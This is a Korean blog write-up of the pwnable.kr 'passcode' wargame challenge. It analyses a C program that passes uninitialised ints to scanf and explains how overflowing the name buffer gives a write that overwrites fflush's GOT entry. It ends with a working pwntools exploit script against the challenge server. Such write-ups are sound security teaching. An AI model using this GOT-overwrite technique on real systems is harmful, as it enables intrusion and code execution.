본문 바로가기

Wargame/[pwnable.kr]

[pwnable.kr] passcode 문제 풀이

※ pwnable.kr 워게임 passcode 문제이다.

1. 프로그램 분석

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

1) main 함수

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}
  • welcome 함수와 login 함수를 호출한다.

2) welcome 함수

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}
  • 버퍼 name을 scanf로 입력받아 저장한다.

3) login 함수

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}
  • 변수 2개를 scanf로 입력받아 저장한다.
  • if문에서 passcode1과 passcode2의 값이 조건과 같다면 system함수를 호출하고 조건의 값과 다르면 exit 함수를 호출한다.

 

2. 취약점 분석

  • scanf로 입력받을 때 문제가 발생한다.

    - scanf("%d", &passcode1)으로 하면 passcode1의 주소에 입력한 값이 저장된다.

    - scanf("%d", passcode1)으로 하면 passcode1에 쓰레기값이 들어가 있는데 그 쓰레기값을 주소로 해서 그 주소에 입력한 값이    저장된다. (변수들을 초기화 하지 않아서 쓰레기값이 들어있는 것이다.)

  • 그러므로 passcode1과 passcode2에 조건문과 같은 숫자를 입력하여도 passcode1과 passcode2의 주소에 입력한 값이 저장되지 않기 때문에 참으로 만들 수 없다.

 

3. 풀이

  • welcome 함수의 name을 입력받을 때 사용한 scanf에서 오버플로우가 발생한다는 것을 알 수 있다.
  • 오버플로우를 사용하여 passcode1을 원하는 값으로 덮으면 passcode1을 덮은 값을 주소로 해서 그 주소에 입력한 값을 저장할 수 있다. 
  • 즉, 원하는 주소에 원하는 값을 저장할 수 있다는 결론이 나온다.
  • 그러므로 passcode1을 fflush의 got 값으로 덮고 system 함수를 실행하는 주소값을 입력하면 fflush의 got 값에 system 함수를 실행하는 주소값을 저장할 수 있다.
  • 그렇게 하면 fflush가 실행되면서 got 값을 찾을 것이고 got 값에 system 함수를 실행하는 주소값이 있기 때문에 system 함수를 실행하여 flag를 얻을 수 있다.

이 방법을 사용할 수 있는 이유는 PIE 보호기법이 적용되지 않기 때문이다. 만약 PIE 보호기법이 적용되면 주소값이 계속 바뀌기 때문에 쉽지 않다.

 

4. 익스플로잇

1) 오버플로우를 해야하기 때문에 스택 프레임 구조를 알아야 한다.

  • name이 [ebp-0x70]에 위치한다.

 

  • passcode1이 [ebp-0x10]에 passcode2는 [ebp-0xC]에 위치한다.

 

  • 스택 프레임은 다음과 같다. 그리고 name을 오버플로우할 때 크기가 100까지만 입력받기 때문에 passcode1만 덮을 수 있고 passcode2는 덮을 수 없다.

 

2) passcode1을 덮을 fflush의 got 값은 함수를 불러올 때 plt가 먼저 got 값이 있는지 확인하는 과정이 있기 때문에 fflush의 plt를 보면 알 수 있다.

 

3) system 함수를 실행하는 주소는 0x080485e3이다. passcode1으로 입력할 때 "%d"인 정수로 입력받기 때문에 0x80485e3를 정수로 바꾼 134514147을 입력하여 준다.

 

4) 익스플로잇

from pwn import *

context(arch="i386", os="linux")

s = ssh("passcode", "pwnable.kr", port=2222, password="guest")
p = s.process("./passcode")

fflush = 0x804a004
system = b"134514147"

payload = b"A" * 0x60
payload += p32(fflush)

# name을 이용하여 오버플로우하고 passcode1에 fflush의 got값을 덮는다.
p.sendline(payload)

# system 실행 주소값을 입력한다.
p.sendline(system)

p.interactive()

 

5. 결과

 

'Wargame > [pwnable.kr]' 카테고리의 다른 글

[pwnable.kr] random 문제 풀이  (0) 2023.07.29
[pwnable.kr] flag 문제 풀이  (0) 2022.08.20
[pwnable.kr] bof 문제 풀이  (0) 2022.08.20
[pwnable.kr] collision 문제 풀이  (0) 2022.08.19
[pwnable.kr] fd 문제 풀이  (0) 2022.08.19